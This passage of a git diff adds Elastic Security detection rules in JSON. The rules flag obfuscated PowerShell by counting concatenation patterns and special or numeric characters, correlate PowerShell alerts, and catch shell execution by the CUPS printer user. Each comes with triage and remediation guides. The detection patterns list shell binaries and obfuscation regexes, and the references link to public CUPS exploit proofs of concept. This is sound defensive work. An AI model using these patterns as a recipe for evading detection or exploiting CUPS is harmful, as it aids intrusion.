a known good backup if malicious activity is confirmed and cannot be easily remediated.\n- Update and run a full antivirus and antimalware scan on the affected system to ensure no additional threats are present.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised.\n- Implement enhanced monitoring and logging for PowerShell activities across the network to detect similar obfuscation attempts in the future, ensuring that alerts are configured to notify the appropriate personnel promptly.\n", + "query": "from logs-windows.powershell_operational* metadata _id, _version, _index\n| where event.code == \"4104\"\n\n// Filter out smaller scripts that are unlikely to implement obfuscation using the patterns we are looking for\n| eval Esql.script_block_length = length(powershell.file.script_block_text)\n| where Esql.script_block_length > 500\n\n// replace the patterns we are looking for with the \ud83d\udd25 emoji to enable counting them\n// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1\n| eval Esql.script_block_tmp = replace(\n powershell.file.script_block_text,\n \"\"\"['\"][A-Za-z0-9.]+['\"](\\s?\\+\\s?['\"][A-Za-z0-9.,\\-\\s]+['\"]){2,}\"\"\",\n \"\ud83d\udd25\"\n)\n\n// count how many patterns were detected by calculating the number of \ud83d\udd25 characters inserted\n| eval Esql.script_block_pattern_count = length(Esql.script_block_tmp) - length(replace(Esql.script_block_tmp, \"\ud83d\udd25\", \"\"))\n\n// keep the fields relevant to the query, although this is not needed as the alert is populated using _id\n| keep\n Esql.script_block_pattern_count,\n Esql.script_block_length,\n Esql.script_block_tmp,\n powershell.file.script_block_text,\n powershell.file.script_block_id,\n file.path,\n powershell.sequence,\n powershell.total,\n _id,\n _index,\n host.name,\n agent.id,\n user.id\n\n// Filter for scripts that match the pattern at least twice\n| where Esql.script_block_pattern_count >= 2\n", + "related_integrations": [ + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.script_block_length", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.script_block_pattern_count", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.script_block_tmp", + "type": "keyword" + }, + { + "ecs": false, + "name": "_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "_index", + "type": "keyword" + }, + { + "ecs": true, + "name": "agent.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "file.path", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.name", + "type": "keyword" + }, + { + "ecs": false, + "name": "powershell.file.script_block_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "powershell.file.script_block_text", + "type": "text" + }, + { + "ecs": false, + "name": "powershell.sequence", + "type": "long" + }, + { + "ecs": false, + "name": "powershell.total", + "type": "long" + }, + { + "ecs": true, + "name": "user.id", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "f6d8c743-0916-4483-8333-3c6f107e0caa", + "setup": "## Setup\n\nThe 'PowerShell Script Block Logging' logging policy must be enabled.\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nAdministrative Templates >\nWindows PowerShell >\nTurn on PowerShell Script Block Logging (Enable)\n```\n\nSteps to implement the logging policy via registry:\n\n```\nreg add \"hklm\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\" /v EnableScriptBlockLogging /t REG_DWORD /d 1\n```\n", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Defense Evasion", + "Data Source: PowerShell Logs", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1027", + "name": "Obfuscated Files or Information", + "reference": "https://attack.mitre.org/techniques/T1027/" + }, + { + "id": "T1140", + "name": "Deobfuscate/Decode Files or Information", + "reference": "https://attack.mitre.org/techniques/T1140/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.001", + "name": "PowerShell", + "reference": "https://attack.mitre.org/techniques/T1059/001/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 5 + }, + "id": "f6d8c743-0916-4483-8333-3c6f107e0caa_5", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/f770ce79-05fd-4d74-9866-1c5d66c9b34b_3.json b/packages/security_detection_engine/kibana/security_rule/f770ce79-05fd-4d74-9866-1c5d66c9b34b_3.json new file mode 100644 index 00000000000..bd1010f6544 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/f770ce79-05fd-4d74-9866-1c5d66c9b34b_3.json @@ -0,0 +1,76 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies PowerShell script blocks associated with multiple distinct detections, indicating likely malicious behavior.", + "from": "now-9m", + "language": "esql", + "license": "Elastic License v2", + "name": "Potential Malicious PowerShell Based on Alert Correlation", + "note": "## Triage and analysis\n\n### Investigating Potential Malicious PowerShell Based on Alert Correlation\n\nThis detection rule aggregates alert data to identify PowerShell Scripts that have triggered various PowerShell-related detection logic, thereby producing higher-fidelity results.\n\n> **Note**:\n> This investigation guide uses the [Osquery Markdown Plugin](https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html) introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide.\n\n### Possible investigation steps\n\n- Analyzing the detections triggered by the script should offer insight into the suspicious behaviors it exhibits. This information can be found in the `distinct_alerts` field.\n- Examine the script content that triggered the detection; look for suspicious DLL imports, collection or exfiltration capabilities, suspicious functions, encoded or compressed data, and other potentially malicious characteristics.\n- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures.\n- Examine the script's execution context, such as the user account, privileges, the role of the system on which it was executed, and any relevant timestamps.\n- Investigate other alerts associated with the user/host during the past 48 hours.\n- Evaluate whether the user needs to use PowerShell to complete tasks.\n- Investigate the origin of the PowerShell script, including its source, download method, and any associated URLs or IP addresses.\n- Examine the host for derived artifacts that indicate suspicious activities:\n - Analyze the script using a private sandboxed analysis system.\n - Observe and collect information about the following activities in both the sandbox and the alert subject host:\n - Attempts to contact external domains and addresses.\n - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process's `process.entity_id`.\n - Examine the DNS cache for suspicious or anomalous entries.\n - !{osquery{\"label\":\"Osquery - Retrieve DNS Cache\",\"query\":\"SELECT * FROM dns_cache\"}}\n - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree.\n - Examine the host services for suspicious or anomalous entries.\n - !{osquery{\"label\":\"Osquery - Retrieve All Services\",\"query\":\"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services\"}}\n - !{osquery{\"label\":\"Osquery - Retrieve Services Running on User Accounts\",\"query\":\"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\\nuser_account == null)\\n\"}}\n - !{osquery{\"label\":\"Osquery - Retrieve Service Unsigned Executables with Virustotal Link\",\"query\":\"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\\n\"}}\n - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc.\n- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification.\n\n### False positive analysis\n\n- This rule is unlikely to trigger on legitimate activity. Benign true positives (B-TPs) can be added as exceptions if necessary.\n\n### Response and Remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n - If malicious activity is confirmed, perform a broader investigation to identify the scope of the compromise and determine the appropriate remediation steps.\n- Isolate the involved hosts to prevent further post-compromise behavior.\n- If the triage identified malware, search the environment for additional compromised hosts.\n - Implement temporary network rules, procedures, and segmentation to contain the malware.\n - Stop suspicious processes.\n - Immediately block the identified indicators of compromise (IoCs).\n - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system.\n- Remove and block malicious artifacts identified during triage.\n- Reimage the host operating system or restore the compromised files to clean versions.\n- Restrict PowerShell usage outside of IT and engineering business units using GPOs, AppLocker, Intune, or similar software.\n- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services.\n- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", + "query": "from .alerts-security.* metadata _id\n\n// Filter for PowerShell related alerts\n| where kibana.alert.rule.name like \"*PowerShell*\"\n\n// as alerts don't have non-ECS fields, parse the script block ID using grok\n| grok message \"ScriptBlock ID: (?.+)\"\n| where Esql.script_block_id is not null\n\n// keep relevant fields for further processing\n| keep kibana.alert.rule.name, Esql.script_block_id, _id\n\n// count distinct alerts and filter for matches above the threshold\n| stats\n Esql.kibana_alert_rule_name_count_distinct = count_distinct(kibana.alert.rule.name),\n Esql.kibana_alert_rule_name_values = values(kibana.alert.rule.name),\n Esql._id_values = values(_id)\n by Esql.script_block_id\n\n// Apply detection threshold\n| where Esql.kibana_alert_rule_name_count_distinct >= 5\n", + "required_fields": [ + { + "ecs": false, + "name": "Esql._id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.kibana_alert_rule_name_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.kibana_alert_rule_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.script_block_id", + "type": "keyword" + } + ], + "risk_score": 73, + "rule_id": "f770ce79-05fd-4d74-9866-1c5d66c9b34b", + "severity": "high", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Execution", + "Rule Type: Higher-Order Rule", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.001", + "name": "PowerShell", + "reference": "https://attack.mitre.org/techniques/T1059/001/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 3 + }, + "id": "f770ce79-05fd-4d74-9866-1c5d66c9b34b_3", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/f86cd31c-5c7e-4481-99d7-6875a3e31309_8.json b/packages/security_detection_engine/kibana/security_rule/f86cd31c-5c7e-4481-99d7-6875a3e31309_8.json new file mode 100644 index 00000000000..5d3aecc7dea --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/f86cd31c-5c7e-4481-99d7-6875a3e31309_8.json @@ -0,0 +1,114 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This detection rule addresses multiple vulnerabilities in the CUPS printing system, including CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, and CVE-2024-47177. Specifically, this rule detects shell executions from the foomatic-rip parent process through the default printer user (lp). These flaws impact components like cups-browsed, libcupsfilters, libppd, and foomatic-rip, allowing remote unauthenticated attackers to manipulate IPP URLs or inject malicious data through crafted UDP packets or network spoofing. This can result in arbitrary command execution when a print job is initiated.", + "from": "now-9m", + "index": [ + "endgame-*", + "logs-endpoint.events.process*", + "logs-crowdstrike.fdr*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Printer User (lp) Shell Execution", + "note": "## Triage and analysis\n\n### Investigating Printer User (lp) Shell Execution\n\nThis rule identifies potential exploitation attempts of several vulnerabilities in the CUPS printing system (CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177). These vulnerabilities allow attackers to send crafted IPP requests or manipulate UDP packets to execute arbitrary commands or modify printer configurations. Attackers can exploit these flaws to inject malicious data, leading to Remote Code Execution (RCE) on affected systems.\n\n#### Possible Investigation Steps\n\n- Investigate the incoming IPP requests or UDP packets targeting port 631.\n- Examine the printer configurations on the system to determine if any unauthorized printers or URLs have been added.\n- Investigate the process tree to check if any unexpected processes were triggered as a result of IPP activity. Review the executable files for legitimacy.\n- Check for additional alerts related to the compromised system or user within the last 48 hours.\n- Investigate network traffic logs for suspicious outbound connections to unrecognized domains or IP addresses.\n- Check if any of the contacted domains or addresses are newly registered or have a suspicious reputation.\n- Retrieve any scripts or executables dropped by the attack for further analysis in a private sandbox environment:\n- Analyze potential malicious activity, including:\n - Attempts to communicate with external servers.\n - File access or creation of unauthorized executables.\n - Cron jobs, services, or other persistence mechanisms.\n\n### Related Rules\n- Cupsd or Foomatic-rip Shell Execution - 476267ff-e44f-476e-99c1-04c78cb3769d\n- Network Connection by Cups or Foomatic-rip Child - e80ee207-9505-49ab-8ca8-bc57d80e2cab\n- File Creation by Cups or Foomatic-rip Child - b9b14be7-b7f4-4367-9934-81f07d2f63c4\n- Suspicious Execution from Foomatic-rip or Cupsd Parent - 986361cd-3dac-47fe-afa1-5c5dd89f2fb4\n\n### False Positive Analysis\n\n- This activity is rarely legitimate. However, verify the context to rule out non-malicious printer configuration changes or legitimate IPP requests.\n\n### Response and Remediation\n\n- Initiate the incident response process based on the triage outcome.\n- Isolate the compromised host to prevent further exploitation.\n- If the investigation confirms malicious activity, search the environment for additional compromised hosts.\n- Implement network segmentation or restrictions to contain the attack.\n- Stop suspicious processes or services tied to CUPS exploitation.\n- Block identified Indicators of Compromise (IoCs), including IP addresses, domains, or hashes of involved files.\n- Review compromised systems for backdoors, such as reverse shells or persistence mechanisms like cron jobs.\n- Investigate potential credential exposure on compromised systems and reset passwords for any affected accounts.\n- Restore the original printer configurations or uninstall unauthorized printer entries.\n- Perform a thorough antimalware scan to identify any lingering threats or artifacts from the attack.\n- Investigate how the attacker gained initial access and address any weaknesses to prevent future exploitation.\n- Use insights from the incident to improve detection and response times in future incidents (MTTD and MTTR).\n", + "query": "process where host.os.type == \"linux\" and event.type == \"start\" and\n event.action in (\"exec\", \"exec_event\", \"ProcessRollup2\") and user.name == \"lp\" and\n process.parent.name in (\"cupsd\", \"foomatic-rip\", \"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\") and\n process.name in (\"bash\", \"dash\", \"sh\", \"tcsh\", \"csh\", \"zsh\", \"ksh\", \"fish\") and not (\n process.command_line like (\n \"*/tmp/foomatic-*\", \"*-sDEVICE=ps2write*\", \"*printf*\", \"/bin/sh -e -c cat\", \"/bin/bash -c cat\",\n \"/bin/bash -e -c cat\"\n ) or\n process.args like \"gs*\"\n )\n", + "references": [ + "https://www.elastic.co/security-labs/cups-overflow", + "https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/", + "https://gist.github.com/stong/c8847ef27910ae344a7b5408d9840ee1", + "https://github.com/RickdeJager/cupshax/blob/main/cupshax.py" + ], + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "crowdstrike", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.command_line", + "type": "wildcard" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.parent.name", + "type": "keyword" + }, + { + "ecs": true, + "name": "user.name", + "type": "keyword" + } + ], + "risk_score": 73, + "rule_id": "f86cd31c-5c7e-4481-99d7-6875a3e31309", + "setup": "## Setup\n\nThis rule requires data coming in from Elastic Defend.\n\n### Elastic Defend Integration Setup\nElastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.\n\n#### Prerequisite Requirements:\n- Fleet is required for Elastic Defend.\n- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).\n\n#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:\n- Go to the Kibana home page and click \"Add integrations\".\n- In the query bar, search for \"Elastic Defend\" and select the integration to see more details about it.\n- Click \"Add Elastic Defend\".\n- Configure the integration name and optionally add a description.\n- Select the type of environment you want to protect, either \"Traditional Endpoints\" or \"Cloud Workloads\".\n- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).\n- We suggest selecting \"Complete EDR (Endpoint Detection and Response)\" as a configuration setting, that provides \"All events; all preventions\"\n- Enter a name for the agent policy in \"New agent policy name\". If other agent policies already exist, you can click the \"Existing hosts\" tab and select an existing policy instead.\nFor more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).\n- Click \"Save and Continue\".\n- To complete the integration, select \"Add Elastic Agent to your hosts\" and continue to the next section to install the Elastic Agent on your hosts.\nFor more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).\n", + "severity": "high", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "Use Case: Threat Detection", + "Use Case: Vulnerability", + "Tactic: Execution", + "Data Source: Elastic Defend", + "Data Source: Elastic Endgame", + "Resources: Investigation Guide", + "Data Source: Crowdstrike" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1203", + "name": "Exploitation for Client Execution", + "reference": "https://attack.mitre.org/techniques/T1203/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 8 + }, + "id": "f86cd31c-5c7e-4481-99d7-6875a3e31309_8", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/f9753455-8d55-4ad8-b70a-e07b6f18deea_4.json b/packages/security_detection_engine/kibana/security_rule/f9753455-8d55-4ad8-b70a-e07b6f18deea_4.json new file mode 100644 index 00000000000..51a5a5ac844 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/f9753455-8d55-4ad8-b70a-e07b6f18deea_4.json @@ -0,0 +1,153 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "building_block_type": "default", + "description": "Identifies PowerShell scripts with an abnormally high proportion of non-alphanumeric characters, often resulting from encoding, string mangling, or dynamic code generation.", + "from": "now-9m", + "language": "esql", + "license": "Elastic License v2", + "name": "Potential PowerShell Obfuscation via High Special Character Proportion", + "query": "from logs-windows.powershell_operational* metadata _id, _version, _index\n| where event.code == \"4104\"\n\n// Filter out smaller scripts that are unlikely to implement obfuscation using the patterns we are looking for\n| eval Esql.script_block_length = length(powershell.file.script_block_text)\n| where Esql.script_block_length > 1000\n\n// replace the patterns we are looking for with the \ud83d\udd25 emoji to enable counting them\n// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1\n// Excludes spaces, #, = and - as they are heavily used in scripts for formatting\n| eval Esql.script_block_tmp = replace(powershell.file.script_block_text, \"\"\"[^0-9A-Za-z\\s#=-]\"\"\", \"\ud83d\udd25\")\n\n// count how many patterns were detected by calculating the number of \ud83d\udd25 characters inserted\n| eval Esql.script_block_pattern_count = Esql.script_block_length - length(replace(Esql.script_block_tmp, \"\ud83d\udd25\", \"\"))\n\n// Calculate the ratio of special characters to total length\n| eval Esql.script_block_ratio = Esql.script_block_pattern_count::double / Esql.script_block_length::double\n\n// keep the fields relevant to the query, although this is not needed as the alert is populated using _id\n| keep\n Esql.script_block_pattern_count,\n Esql.script_block_length,\n Esql.script_block_ratio,\n Esql.script_block_tmp,\n powershell.file.script_block_text,\n powershell.file.script_block_id,\n file.path,\n powershell.sequence,\n powershell.total,\n _id,\n _index,\n host.name,\n agent.id,\n user.id\n\n// Filter for scripts with high special character ratio\n| where Esql.script_block_ratio > 0.30\n", + "related_integrations": [ + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.script_block_length", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.script_block_pattern_count", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.script_block_ratio", + "type": "double" + }, + { + "ecs": false, + "name": "Esql.script_block_tmp", + "type": "keyword" + }, + { + "ecs": false, + "name": "_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "_index", + "type": "keyword" + }, + { + "ecs": true, + "name": "agent.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "file.path", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.name", + "type": "keyword" + }, + { + "ecs": false, + "name": "powershell.file.script_block_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "powershell.file.script_block_text", + "type": "text" + }, + { + "ecs": false, + "name": "powershell.sequence", + "type": "long" + }, + { + "ecs": false, + "name": "powershell.total", + "type": "long" + }, + { + "ecs": true, + "name": "user.id", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "f9753455-8d55-4ad8-b70a-e07b6f18deea", + "setup": "## Setup\n\nThe 'PowerShell Script Block Logging' logging policy must be enabled.\nSteps to implement the logging policy with Advanced Audit Configuration:\n\n```\nComputer Configuration >\nAdministrative Templates >\nWindows PowerShell >\nTurn on PowerShell Script Block Logging (Enable)\n```\n\nSteps to implement the logging policy via registry:\n\n```\nreg add \"hklm\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging\" /v EnableScriptBlockLogging /t REG_DWORD /d 1\n```\n", + "severity": "low", + "tags": [ + "Domain: Endpoint", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Defense Evasion", + "Data Source: PowerShell Logs", + "Rule Type: BBR" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1027", + "name": "Obfuscated Files or Information", + "reference": "https://attack.mitre.org/techniques/T1027/" + }, + { + "id": "T1140", + "name": "Deobfuscate/Decode Files or Information", + "reference": "https://attack.mitre.org/techniques/T1140/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.001", + "name": "PowerShell", + "reference": "https://attack.mitre.org/techniques/T1059/001/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 4 + }, + "id": "f9753455-8d55-4ad8-b70a-e07b6f18deea_4", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/f9abcddc-a05d-4345-a81d-000b79aa5525_6.json b/packages/security_detection_engine/kibana/security_rule/f9abcddc-a05d-4345-a81d-000b79aa5525_6.json new file mode 100644 index 00000000000..aedcca977b7 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/f9abcddc-a05d-4345-a81d-000b79aa5525_6.json @@ -0,0 +1,158 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies PowerShell scripts with a disproportionately high number of numeric characters, often indicating the presence of obfuscated or encoded payloads. This behavior is typical of obfuscation methods involving byte arrays, character code manipulation, or embedded encoded strings used to deliver and execute malicious content.", + "from": "now-9m", + "language": "esql", + "license": "Elastic License v2", + "name": "Potential PowerShell Obfuscation via High Numeric Character Proportion", + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential PowerShell Obfuscation via High Numeric Character Proportion\n\nPowerShell is a powerful scripting language used for system administration, but adversaries exploit its capabilities to obfuscate malicious scripts. Obfuscation often involves encoding payloads using numeric characters, making detection challenging. The detection rule identifies scripts with a high proportion of numeric characters, signaling potential obfuscation. By analyzing script length and numeric density, it flags suspicious activity, aiding in defense evasion detection.\n\n### Possible investigation steps\n\n- Review the script block text from the alert to understand the context and identify any obvious signs of obfuscation or malicious intent.\n- Examine the file path and host name fields to determine the origin and location of the script execution, which can help assess the potential impact and scope.\n- Check the user ID and agent ID fields to identify the user and system involved, which may provide insights into whether the activity is expected or suspicious.\n- Analyze the powershell.sequence and powershell.total fields to understand the sequence of script execution and the total number of scripts executed, which can indicate whether this is part of a larger pattern of behavior.\n- Investigate any related logs or alerts from the same host or user to identify patterns or correlations that might suggest broader malicious activity.\n\n### False positive analysis\n\n- Scripts with legitimate numeric-heavy content such as data processing or mathematical calculations may trigger the rule. To handle this, identify and whitelist specific scripts or script patterns that are known to be safe.\n- Automated scripts that generate or manipulate large datasets often contain high numeric content. Consider creating exceptions for scripts executed by trusted users or from known safe directories.\n- PowerShell scripts used for legitimate software installations or updates might include encoded data blocks. Review and exclude these scripts by verifying their source and purpose.\n- Scripts containing large hexadecimal strings for legitimate purposes, such as cryptographic operations, may be flagged. Use the exclusion pattern to filter out these known safe operations.\n- Regularly review and update the exclusion list to ensure it reflects the current environment and any new legitimate scripts that may be introduced.\n\n### Response and remediation\n\n- Immediately isolate the affected host to prevent further execution of potentially malicious scripts and limit lateral movement within the network.\n- Review the PowerShell script block text and script block ID to identify any malicious payloads or encoded strings. If confirmed malicious, remove or quarantine the script.\n- Conduct a thorough scan of the isolated host using updated antivirus and anti-malware tools to detect and remove any additional threats or remnants of the obfuscated script.\n- Analyze the file path and user ID associated with the script execution to determine if unauthorized access or privilege escalation occurred. Revoke any suspicious user access and reset credentials if necessary.\n- Escalate the incident to the security operations center (SOC) for further investigation and correlation with other alerts to assess the scope and impact of the threat across the network.\n- Implement enhanced monitoring and logging for PowerShell activities on all endpoints to detect similar obfuscation attempts in the future, focusing on scripts with high numeric character proportions.\n- Review and update endpoint protection policies to restrict the execution of scripts with high numeric density, ensuring compliance with security best practices and reducing the risk of obfuscation-based attacks.\n", + "query": "from logs-windows.powershell_operational* metadata _id, _version, _index\n| where event.code == \"4104\"\n\n// Filter out smaller scripts that are unlikely to implement obfuscation using the patterns we are looking for\n| eval Esql.script_block_length = length(powershell.file.script_block_text)\n| where Esql.script_block_length > 1000\n\n// replace the patterns we are looking for with the \ud83d\udd25 emoji to enable counting them\n// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1\n| eval Esql.script_block_tmp = replace(powershell.file.script_block_text, \"\"\"[0-9]\"\"\", \"\ud83d\udd25\")\n\n// count how many patterns were detected by calculating the number of \ud83d\udd25 characters inserted\n| eval Esql.script_block_pattern_count = Esql.script_block_length - length(replace(Esql.script_block_tmp, \"\ud83d\udd25\", \"\"))\n\n// Calculate the ratio of special characters to total length\n| eval Esql.script_block_ratio = Esql.script_block_pattern_count::double / Esql.script_block_length::double\n\n// keep the fields relevant to the query, although this is not needed as the alert is populated using _id\n| keep\n Esql.script_block_pattern_count,\n Esql.script_block_ratio,\n Esql.script_block_length,\n Esql.script_block_tmp,\n powershell.file.script_block_text,\n powershell.file.script_block_id,\n file.directory,\n file.path,\n powershell.sequence,\n powershell.total,\n _id,\n _index,\n host.name,\n agent.id,\n user.id\n\n// Filter for scripts with high numeric character ratio\n| where Esql.script_block_ratio > 0.30\n\n// Exclude Windows Defender Noisy Patterns\n| where not (\n file.directory == \"C:\\\\ProgramData\\\\Microsoft\\\\Windows Defender Advanced Threat Protection\\\\Downloads\" or\n file.directory like \"C:\\\\\\\\ProgramData\\\\\\\\Microsoft\\\\\\\\Windows Defender Advanced Threat Protection\\\\\\\\DataCollection*\"\n )\n // ESQL requires this condition, otherwise it only returns matches where file.directory exists.\n or file.directory is null\n| where not powershell.file.script_block_text like \"*[System.IO.File]::Open('C:\\\\\\\\ProgramData\\\\\\\\Microsoft\\\\\\\\Windows Defender Advanced Threat Protection\\\\\\\\DataCollection*\"\n| where not powershell.file.script_block_text : \"26a24ae4-039d-4ca4-87b4-2f64180311f0\"\n", + "related_integrations": [ + { + "package": "windows", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.script_block_length", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.script_block_pattern_count", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.script_block_ratio", + "type": "double" + }, + { + "ecs": false, + "name": "Esql.script_block_tmp", + "type": "keyword" + }, + { + "ecs": false, + "name": "_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "_index", + "type": "keyword" + }, + { + "ecs": true, + "name": "agent.id", + "type": "keyword" + }, + { + "ecs": true, + "name": "file.directory", + "type": "keyword" + }, + { + "ecs": true, + "name": "file.path", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.name", + "type": "keyword" + }, + { + "ecs": false, + "name": "powershell.file.script_block_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "powershell.file.script_block_text", + 